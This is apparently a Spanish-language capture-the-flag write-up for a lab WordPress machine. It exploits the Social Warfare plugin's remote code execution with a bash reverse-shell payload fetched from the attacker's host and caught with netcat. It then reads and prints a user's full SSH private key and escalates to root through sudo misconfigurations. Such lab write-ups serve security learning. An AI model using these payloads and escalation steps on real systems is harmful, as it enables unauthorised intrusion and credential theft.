```
i terraweb: flag{Backdoor_Beneath_Terra_WP}
```

Writeup:

Se encuentra rce con wpscan

```
social-warfare
  Location: http://192.168.1.163/wordpress/wp-content/plugins/social-warfare/
  Last Updated: 2025-03-18T09:37:00.000Z
  [!] The version is out of date, the latest version is 4.5.6
  Found By: Urls In Homepage (Passive Detection)
  Confirmed By: Comment (Passive Detection)
  [!] 8 vulnerabilities identified:
  [!] Title: Social Warfare <= 3.5.2 - Unauthenticated Arbitrary Settings Update
      Fixed in: 3.5.3
      References:
       - https://wpscan.com/vulnerability/32085d2d-1235-42b4-baeb-bc43172a4972
       - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9978
       - https://wordpress.org/support/topic/malware-into-new-update/
       - https://www.wordfence.com/blog/2019/03/unpatched-zero-day-vulnerability-in-s
loited-in-the-wild/
       https://threatpost.com/wordpress-plugin-removed-after-zero-day-discovered/14
       - https://twitter.com/warfareplugins/status/1108826025188909057
       https://www.wordfence.com/blog/2019/03/recent-social-warfare-vulnerability-a
tion/
  [!] Title: Social Warfare <= 3.5.2 - Unauthenticated Remote Code Execution (RCE)
      Fixed in: 3.5.3
      References:
        https://wpscan.com/vulnerability/7b412469-cc03-4899-b397-38580ced5618
         https://www.webarxsecurity.com/social-warfare-vulnerability/
```

Se crea un revell payload en el puerto 1338

```
~/Downloads/ovaa (0.038s)
cat payload2.txt
system("bash -c 'bash -i >& /dev/tcp/192.168.1.152/25 0>&1'")

~/Downloads/ovaa
python3 -m http.server 1338
Serving HTTP on :: port 1338 (http://[::]:1338/) ...
```

## Se gatilla el payload con la url

http://192.168.1.163/wordpress/wp-admin/admin-post.php?swp\_debug=load\_options&swp\_url=http://192.168.1.1:1338/payload2.txt, previamente se pone en escucha en el puerto 25.

Se obtiene shell en el puerto 25 como www-data

```
~/Downloads/ovaa
nc -lvnp 25
Connection from 192.168.1.163:50870
bash: cannot set terminal process group (874): Inappropriate ioctl for device
bash: no job control in this shell
www-data@so-simple:/var/www/html/wordpress/wp-admin$ l
l: command not found
www-data@so-simple:/var/www/html/wordpress/wp-admin$ ls
about.php
admin-ajax.php
admin-footer.php
admin-functions.php
admin-header.php
admin-post.php
admin.php
async-upload.php
comment.php
credits.php
CSS
```

Luego se encuentra la clave id\_rsa de max en el escritorio y se escala privilegios

www-data@so-simple:/home/max/.ssh\$ cat id\_rsa
cat id\_rsa

----BEGIN OPENSSH PRIVATE KEY----

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

Se accede como max, luego se escala privilegios a steven gracias al suid habilitado

```
ovaa ssh max@192.168.1.163 -i id_rsa
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management:
                  https://landscape.canonical.com
* Support:
                  https://ubuntu.com/advantage
 System information as of Sat May 24 22:45:37 UTC 2025
 System load: 0.01
                                  Processes:
                                                            138
 Usage of /: 60.9% of 8.79GB
                                 Users logged in:
 Memory usage: 21%
                                 IPv4 address for docker0: 172.17.0.1
 Swap usage:
                                 IPv4 address for enp0s3: 192.168.1.163
* "If you've been waiting for the perfect Kubernetes dev solution for
  macOS, the wait is over. Learn how to install Microk8s on macOS."
  https://www.techrepublic.com/article/how-to-install-microk8s-on-macos/
47 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
New release '22.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Sat May 24 22:45:06 2025 from 192.168.1.152
max@so-simple:~$ ls
```

Para entrar como root, solamente se crea un script llamado <u>health-server.sh</u> el cual ejecuta la bash, luego lo ejecutamos como root gracias a los permisos suid que tenemos sobre el script /opt/tools/health-server.sh

```
[max@so-simple:~\$ ls]
personal.txt this user.txt
[max@so-simple:~$ sudo -u steven service ../../bin/sh
[$ 1s
bin
      dev
           lib
                  libx32
                            mnt
                                  root
                                       snap
                                                sys
                                                    var
           lib32 lost+found
boot
      etc
                            opt
                                  run
                                       srv
                                                tmp
cdrom home lib64 media
                            proc
                                  sbin
                                      swap.img
                                                usr
[$ whoami
steven
[$ mkdir /opt/tools
[$ touch /opt/tools/server-health.sh
$ nano /opt/tools/server-health.sh
$ sudo -u root /opt/tools/server-health.sh
sudo: /opt/tools/server-health.sh: command not found
[$ chmod +x /opt/tools/server-health.sh
[$ cat /opt/tools/server-health.sh
#!/bin/bash
bash
$ sudo -u root /opt/tools/server-health.sh
[root@so-simple:/# ls
bin
           lib
                  libx32
           lib32 lost+found opt
                                                tmp
cdrom home lib64 media
                            proc sbin
                                       swap.img
[root@so-simple:/# cd root
[root@so-simple:~# ls
flag.txt snap
[root@so-simple:~# cat flag.txt
                        %**************
                        00%%##*%
                     %%###%%@
                     %%##%%
                                                              00%##*0
                                                               00%##*
                    %%##%%
                   %%###%
                                                                00%##*
                                                                 0%####
                   %###%
                   %%##%0
                                                                 0%##*
                                     ***#########***#
```

```
fue facil llegar hasta aqui? este es el regalo por lograr llegar flag: flag{Backdoor_Beneath_Terra_WP}
root@so-simple:~# Read from remote host 192.168.1.163: Operation timed out
Connection to 192.168.1.163 closed.
client_loop: send disconnect: Broken pipe
```